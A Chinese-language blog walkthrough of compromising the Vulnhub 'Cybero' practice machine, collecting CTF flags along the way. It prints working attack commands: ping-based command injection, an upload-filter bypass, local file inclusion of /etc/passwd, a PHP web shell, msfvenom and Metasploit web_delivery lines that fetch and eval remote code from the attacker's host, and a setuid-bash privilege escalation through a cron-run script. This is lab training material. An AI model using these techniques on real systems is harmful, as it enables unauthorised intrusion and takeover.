渗透笔记之Cybero

背景

Cybero是来自Vulnhub的boot2root靶机。下载下来的是一个OVA格式的虚拟机,可在VMware或VirtualBox中打开。虚拟机已设置DHCP,可自动获取IP。

本文较为完整地记录了对其进行渗透的全过程。该靶机难度为中等,具有浓厚的CTF风格。

准备环境

首先下载靶机镜像,得到文件Cybero.ova,大小为690M。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机(以下简称Kali)作为攻击者。

在Kali中运行命令netdiscover进行主机发现,结果如下图所示。

netdiscover

注意到IP地址192.168.1.5的MAC地址以“08:00:27”开头,是VirtualBox的虚拟网卡,从而确定这就是我们要渗透的目标。

端口扫描

使用Nmap对靶机进行TCP端口扫描:

nmap -A -p- 192.168.1.5

nmap命令输出

发现开放了四个端口:

  • 21: FTP
  • 22: SSH
  • 80: HTTP
  • 8085: HTTP

探索HTTP(80)

在浏览器中访问http://192.168.1.5/,看到如下图所示的页面。

80端口页面

查看网页源码没有发现可疑注释,用exif和binwalk命令初步确定图片中没有隐藏额外信息。

用dirb扫描Web目录,命令如下:

dirb http://192.168.1.5/

dirb命令输出

成功地找到了一个目录“userapp”。在浏览器中访问http://192.168.1.5/userapp/,看到如下图所示的页面。

userapp页面

只有一个文件users.sql,下载后查看其内容,发现唯一的有效数据是:

INSERT INTO `users` (`id`, `name`, `surname`, `phone`, `social_media`) VALUES
(1, 'Roxanna', 'Basley', '612-963-4457', '00110110 00111000 00110111 00110100 00110111 00110100 00110111 00110000 00110111 00110011 00110011 01100001 00110010 01100110 00110010 01100110 00110111 00110111 00110111 00110111 00110111 00110111 00110010 01100101 00110110 00111001 00110110 01100101 00110111 00110011 00110111 00110100 00110110 00110001 00110110 00110111 00110111 00110010 00110110 00110001 00110110 01100100 00110010 01100101 00110110 00110011 00110110 01100110 00110110 01100100 00110010 01100110 00110111 00110010 00110110 01100110 00110111 00111000 00110110 00110001 00110110 01100101 00110110 01100101 00110110 00110101 00110110 00110010 00110110 00110001 00110111 00110011 00110110 01100011 00110110 00110101 00110111 00111001 00110010 01100110 ');

其中有用户名、电话等信息,值得注意地是social_media的值被编码过。“00110110 00111000 ……”每个都以0开头,且长度为8位,显然是ASCII码的二进制形式。按ASCII解码后得到长度为80的字符串:

68747470733a2f2f7777772e696e7374616772616d2e636f6d2f726f78616e6e656261736c65792f

观察上述字符串,发现每个字符均为有效的16进制字符。而68是字符h的16进制ASCII码,74是字符t的16进制ASCII码。故两两组合上述字符串,再次按ASCII解码,得到40个字符:

https://www.instagram.com/roxannebasley/

是一个链接,打开看到如下所示的页面。

instagram页面

得到一个Flag:{FLAGCybero50}。

附:解密使用的Python脚本如下:

o = '00110110 00111000 00110111 00110100 00110111 00110100 00110111 00110000 00110111 00110011 00110011 01100001 00110010 01100110 00110010 01100110 00110111 00110111 00110111 00110111 00110111 00110111 00110010 01100101 00110110 00111001 00110110 01100101 00110111 00110011 00110111 00110100 00110110 00110001 00110110 00110111 00110111 00110010 00110110 00110001 00110110 01100100 00110010 01100101 00110110 00110011 00110110 01100110 00110110 01100100 00110010 01100110 00110111 00110010 00110110 01100110 00110111 00111000 00110110 00110001 00110110 01100101 00110110 01100101 00110110 00110101 00110110 00110010 00110110 00110001 00110111 00110011 00110110 01100011 00110110 00110101 00110111 00111001 00110010 01100110'

output = str()
cache = str()
for i in o.split(' '):
    cache += chr(int(i, 2))
    if len(cache) == 2:
        output += chr(int(cache, 16))
        cache = str()

print('The length is {}'.format(len(output)))
print('The string is {}'.format(output))

运行此脚本的输出如下图所示。

解码脚本输出

探索HTTP(8085)

在浏览器中访问http://192.168.1.5:8085/,看到如下图所示的页面。

8085端口页面

查看网页源码,看到POST参数的名字是“command”,似乎在暗示是一个命令注入。

<form method="POST">

<input type="text" name="command"><br><br><br>
<input type="submit" value="Call me">

</form>

查看图片是否隐藏信息、扫描目录等都没有收获,只好从输入框突破。

首先尝试了SQL注入,发现没有SQL注入漏洞,只好从提示找线索。提示说要给Google打电话,而刚刚在users.sql中获得了一个电话号“612-963-4457”,输入它后点击“Call me”,返回页面提示“Only call”,这说明输入的内容不正确。输入“call”,依旧返回“Only call”。搜索谷歌的电话号码,输入后依旧返回“Only call”。后来想到call不一定是打电话,或是和电话号码有关,可能只是一种比喻。最后从“Only 3 times”想到了ping命令,因为ping命令可以指定ping的次数。多番尝试之后终于发现输入“ping -c 3 google.com”返回结果不是“Only call”,而是ping命令的输出,如下图所示。

ping google

但“Last line of the output:”为空,似乎缺点什么。先不管了,尝试命令注入。又经过多番尝试,终于发现输入“ping -c 3 google.com;whoami”会返回我们想要的结果,如下图所示。

ping google;whoami

得到另一个Flag:{FLAGCybero10PT},并且拿到了下一关的地址。

文件上传

点击“Follow me”,打开的页面如下图所示,是一个文件上传。

文件上传

根据提示,需要上传一个php文件。先用msfvenom做一个php格式的Meterpreter木马,连接方式为TCP反弹连接,命令如下:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f raw -o rt.php

msfvenom命令输出

然后尝试上传rt.php,果然失败了,错误提示是:

Upload a valid image file - .Sorry, your file was not uploaded.

尝试上传一张正常的png图片,竟然也失败了。尝试上传一张正常的jpg图片,终于成功了,但返回结果里没有上传成功后的文件路径。简单测试后发现上传后的文件保存在“/darkroomforyou/uploads/”中,并且没有重命名,如下图所示。

上传后的文件

又尝试上传了一些文件,有些成功,有些失败,总结如下:

  • 上传一张正常的png图片logo.png:失败
  • 上传一张正常的jpg图片google.jpg:成功
  • 上传rt.php:失败
  • 将rt.php重命名为rt.jpg并上传:成功
  • 上传rt.php,但用Burp Suite把请求包中的Content-Type改为image/jpeg:失败

这些测试表明服务器端只是简单地校验了上传文件的后缀名是否在白名单中。

端口扫描已经确定了服务器是“Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)”,并没有可以利用的解析漏洞。这样看来是不可能上传php文件的,除非php文件后缀在白名单中。

先确定一下哪些后缀在白名单中。在Linux中,文件类型和后缀在文件“/etc/mime.types”中定义,把这个文件中的后缀提取到一个文件中,一行一个。然后用Burp Suite爆破文件后缀,如下图所示。

设置文件后缀为变量

爆破结果如下图所示。

后缀爆破结果

从图中可以看到白名单中的后缀有:jpeg、jpg、gif和phtml。且后缀为phtml时,返回结果为:

The file a.phtml has been uploaded.{FLAGCybero25}           <a href="/darkroomforyou/agent.php">Follow me :)</a>

先不follow它,看看上传的结果,发现“/darkroomforyou/uploads/”中的所有文件都被清空了,果然是CTF的玩法。只好follow它。

Agnet

follow它,打开/darkroomforyou/agent.php,看到如下图所示的页面。

AGENT 007

Agent既有“特工”,又有“代理”的意思。CTF中修改User-Agent的题目数不胜数,所以尝试把User-Agent修改为“007”,再次提交,看到如下图所示的页面。

USER-AGENT 007

看到页面中多了Flag:{FLAGCybero35},还多了一个“Follow me:)”,其网页源码为:

{FLAGCybero35}<center><a href="/darkroomforyou/agent.php?page=hello.php">Follow me :)</a>

看到新的链接还是原来的路径,只是添加了GET参数“page=hello.php”,怎么看怎么像文件包含。尝试访问:/darkroomforyou/agent.php?page=../../../../../../../etc/passwd,成功地包含出/etc/passwd文件的内容,如下图所示。

包含出敏感文件

发现一个Flag:{FLAGCybero44},还发现两个用户cybero和hemid。尝试包含出/etc/shadow文件,但失败了,应该是没有权限。

获取Webshell

现在我们有一个文件包含漏洞和一个上传点,足够获取Webshell了。

首先把制作好的php木马rt.php重命名为rt.jpg,然后上传,上传成功后路径为:/darkroomforyou/uploads/rt.jpg,如下图所示。

rt.jpg

接着在Metasploit中设置监听,然后访问/darkroomforyou/agent.php?page=uploads/rt.jpg以执行php木马。

但不知什么原因,反弹连接建立后就会立马中断,多次尝试都没有成功。

重新准备一个简单些的后门,创建文件cmd.jpg,内容如下:

<?php system($_GET['cmd']); ?>

上传后访问/agent.php?page=uploads/cmd.jpg&cmd=ifconfig试试效果,发现是成功的,网页中出现了ifconfig命令的输出,如下图所示。

ifconfig命令被执行

用Metasploit的web_delivery模块来建立Meterpreter Session连接。首先设置好荷载和参数,然后运行此模块,根据提示需要执行:

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.1.200:8080/GadWC4tEj4T'));"

所以访问/darkroomforyou/agent.php?page=uploads/cmd.jpg&cmd=php%20-d%20allow_url_fopen=true%20-r%20%22eval(file_get_contents(%27http://192.168.1.200:8080/GadWC4tEj4T%27));%22

成功地创建了Meterpreter Session连接,如下图所示。

web_delivery

连接建立后首先读取当前用户信息,发现是apache,果然不是root。一番探索之后在/var/ftp中发现了文件cybero.txt,如下图所示:

cybero.txt

获得了Flag:{FLAGCybero10}和一个密码“hemid123”。尝试用这个密码以cybero用户登录ssh,发现密码错误,以hemid用户登录,登录成功,如下图所示。

ssh登录

提权

以hemid的身份登录靶机后发现没有root权限,需要提取。

在hemid家目录中看到文件17932,内容如下图所示:

polkit-pwnage.c

是个提权的Exploit。所以这是自带提权???

尝试编译运行这个Exploit,发现是不行的。结果如下图所示。

提权失败

之后又尝试了SUDO提权和SUID提权,都失败了。最后在/tmp目录中看到文件endofthegame.py,hemid用户可以修改这个文件的内容,如下图所示。

endofthegame.py

我们知道提权是这个渗透测试游戏的最后一关,若提权成功,则游戏结束,所以推测提权就靠这个文件了。联系Vulnhub中另一个靶机Wakanda的“提权”方式,推测有一个定时任务会定期执行endofthegame.py。所以修改其内容为:

#!/usr/env python
import subprocess
subprocess.call(["rm", "log.yum"])

import os
os.system("cp /bin/bash /tmp/bash")
os.system("chmod 6775 /tmp/bash")

静静等待几分钟后,惊喜地发现在/tmp目录中出现了bash文件,且设置了SUID,如下图所示:

/tmp/bash

运行:

/tmp/bash -p

提权成功,如下图所示。

提权成功

总结

这个靶机前后花了我一周的时间,主要是有些关卡脑洞太大,想了很久,尝试了许多错误的方法,最终才解出来。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

15 − 2 =